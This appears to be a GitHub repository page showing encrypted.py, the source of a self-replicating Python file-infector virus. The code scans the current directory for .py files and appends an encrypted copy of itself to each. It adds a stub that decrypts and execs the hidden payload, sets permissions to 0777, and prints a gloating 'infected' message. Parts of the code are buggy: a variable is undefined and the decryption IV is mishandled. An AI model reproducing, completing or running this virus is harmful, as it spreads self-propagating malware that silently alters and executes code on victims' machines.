-
Notifications
You must be signed in to change notification settings - Fork 19
/
encrypted.py
executable file
·120 lines (98 loc) · 5.65 KB
/
encrypted.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
import os
def is_infected(filename):
f = open(filename, 'r')
lines = f.readlines()
if len(lines) < 46:
return False
#print len(lines)
#print lines[len(lines) - 46]
return lines[len(lines) - 46].startswith('######################################################## First script python')
def infect(filename):
os.rename(filename, filename + '-copy')
destination = open(filename, 'w')
os.chmod(filename, 0777)
source = open(filename + '-copy', 'r')
this = open(__main__.__file__, 'r')
# Append the original file
for line in source:
destination.write(line)
destination.write("\n######################################################## First script python\n")
destination.write("# coding=utf-8\n")
destination.write("# Start Unencrypted\n")
copy = False
result = ''
for line in this:
if line.strip() == '# Start Unencrypted':
copy = True
elif line.strip() == '# End Unencrypted':
destination.write('# End Unencrypted')
copy = False
elif copy:
destination.write(line);
destination.write("\n# Start payload\n")
destination.write("#")
destination.write(str(encrypt(e, filename)))
destination.write("\n# End payload")
os.remove(filename + '-copy')
source.close()
destination.close()
this.close()
def find_and_infect_files():
# In the current directory
path = '.'
dirs = os.listdir(path)
# For each file try to infect it
for filename in dirs:
if filename.endswith('.py') and (not is_infected(filename)):
print "Infected " + str(filename)
infect(filename)
def encrypt(data,filename):
source = open(filename + '-copy', 'r')
iv = Random.new().read(AES.block_size)
cipher = AES.new(StringIO.StringIO(source).read(24), AES.MODE_CFB, iv)
encrypted = iv + cipher.encrypt(data)
source.close()
return base64.b64encode(encrypted)
####################
def payload():
print "This file is infected infected! Mhuahauhauahau!"
find_and_infect_files()
payload()
######################################################## First script python
# coding=utf-8
# Start Unencrypted
import os
import __main__
import base64
import sys
import StringIO
from Crypto import Random
from Crypto.Cipher import AES
# Decryption function
def decrypt(data):
this = open(__main__.__file__, 'r')
data = base64.b64decode(data);
iv = Random.new().read(AES.block_size)
cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv)
this.close()
return cipher.decrypt(data)[16:]
# Gets the virus file
this = open(__main__.__file__, 'r')
copy = False
cipher_payload = ''
for line in this:
if line.strip() == '# Start payload':
copy = True
elif line.strip() == '# End payload':
copy = False
elif copy:
cipher_payload = cipher_payload + line
e = decrypt(cipher_payload[1:])
#e = encrypt(cipher_payload)
#print e
exec e
sys.exit('Good job!')
# End Unencrypted
# Start payload
#BMf4fKyTYGabQGDJVsosl8/oLYVsmRTdkgza7qsrLKKusZ4OW9r+3wXyZ3iGPCsa02vnIEEgdEkuQ63337V5lVsbNb/spJOwS1yp8Eg4So9X3VTLsV9XxyU20jQrGvi9nDc5NS5LMpGmH/etMnENPl16Y6ioneGS+e+f4BS+et5/1HJEOeDqYzgddZA6TFsb5sDcpVRFLx5qLSQ7hr/LlIywYTo/dM8tT9fD9oq4w5Vb3NU1TBSRqqddd5nRBSmXr/N61RSzmSHN8neZWuNjU0WRmz01JNNQ9nRuKWZfgu7JqEo0OSoI3ZPcskC3mazsvSKOgRyBcTpw4JI3iGVHgmI0m06mXLYGCIjsAsSHLatM0Sg9of3my5ROfGfL8Q8GujihnEo0PPYt41xGW19zER+35zrqAKfUl4Tc16vHaWGAIZVAfz8WEKR6InsZkQ/65JLnVCb+1eKvZm/kSiVPdt4w5jDZGdGSIp04o0dxyQ+sgvueC8avJ1jj7DWZiOiu5O5ErA8kSphUPWJy7Mf9FyMzsMyiw8N8rIw3nzEvGEBcYRvSxhRgherAd+TFVyCESd1y7UeXsqT7nC4tE/2Emr3/l67+ETUiVKQ9Hvj86QjP7/+yKaS+XhAkkERJL7dN61EixORNhU/RcIZBS7N7HxsB0LLPJ8WTEwCvnytbfujS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